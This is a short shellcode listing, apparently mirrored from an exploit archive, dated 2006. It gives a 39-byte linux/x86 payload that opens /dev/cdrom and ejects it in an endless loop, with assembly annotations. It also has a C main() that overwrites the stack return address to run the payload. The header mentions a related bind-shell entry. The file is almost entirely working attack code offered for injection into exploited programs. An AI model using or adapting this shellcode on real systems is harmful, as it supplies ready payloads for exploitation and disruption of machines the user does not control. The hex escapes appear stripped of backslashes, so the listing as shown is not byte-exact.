[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 24/7 open cd-rom loop (follows /dev/cdrom symlink) 39 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 Bind /bin/sh to 31337/tcp + fork() 98 bytes
# Next Title : linux/x86 eject cd-rom (follows /dev/cdrom symlink) + exit() 40 bytes
/*
* (linux/x86) 24/7 open cd-rom loop (follows "/dev/cdrom" symlink) - 39 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax05" // push $0x5
"x58" // pop %eax
"x31xc9" // xor %ecx,%ecx
"x51" // push %ecx
"xb5x08" // mov $0x8,%ch
"x68x64x72x6fx6d" // push $0x6d6f7264
"x68x65x76x2fx63" // push $0x632f7665
"x68x2fx2fx2fx64" // push $0x642f2f2f
"x89xe3" // mov %esp,%ebx
"xcdx80" // int $0x80
"x89xc3" // mov %eax,%ebx
"x66xb9x09x53" // mov $0x5309,%cx
//
// <_openit>:
//
"xb0x36" // mov $0x36,%al
"xcdx80" // int $0x80
"xebxfa"; // jmp <_openit>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]